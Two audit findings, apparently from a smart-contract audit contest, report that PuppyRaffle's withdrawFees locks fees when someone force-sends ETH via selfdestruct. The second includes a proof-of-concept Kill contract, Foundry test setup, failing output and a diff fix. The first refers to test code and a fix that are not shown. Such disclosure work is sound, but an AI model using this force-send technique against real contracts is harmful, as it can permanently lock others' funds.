The PuppyRaffle::withdrawFees function uses a strict equality check == to verify that all players have been paid out before allowing fee withdrawal. Anyone can permanently break this check by force-sending even 1 wei to the contract via selfdestruct, locking all fees forever.
Expected behavior: The contract should allow fee withdrawal when no active players remain, regardless of small amounts of forced ETH.
Actual behavior: If anyone sends ETH directly to the contract (via selfdestruct from another contract), the balance will never exactly equal totalFees and withdrawal becomes impossible forever.
The problem is that contracts cannot prevent receiving ETH via selfdestruct. Even without a receive() or fallback() function, anyone can force ETH into the contract, breaking the strict equality forever.
Likelihood:
High - Anyone can execute this attack at any time
Costs only 1 wei plus gas for selfdestruct
No special permissions required
Impact:
All accumulated fees permanently locked in contract
Protocol loses all fee revenue
No way to recover locked fees
Add to test/PuppyRaffleTest.t.sol:
Run: forge test --match-test test_withdrawFeesDoS -vv
Output:
The contract had 0.8 ETH in fees ready to withdraw. After forcing in just 1 wei, withdrawal is permanently impossible.
Use >= instead of == to allow fee withdrawal even with extra balance:
This allows withdrawal as long as the contract has at least enough to cover the fees, preventing DoS from forced ETH.
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.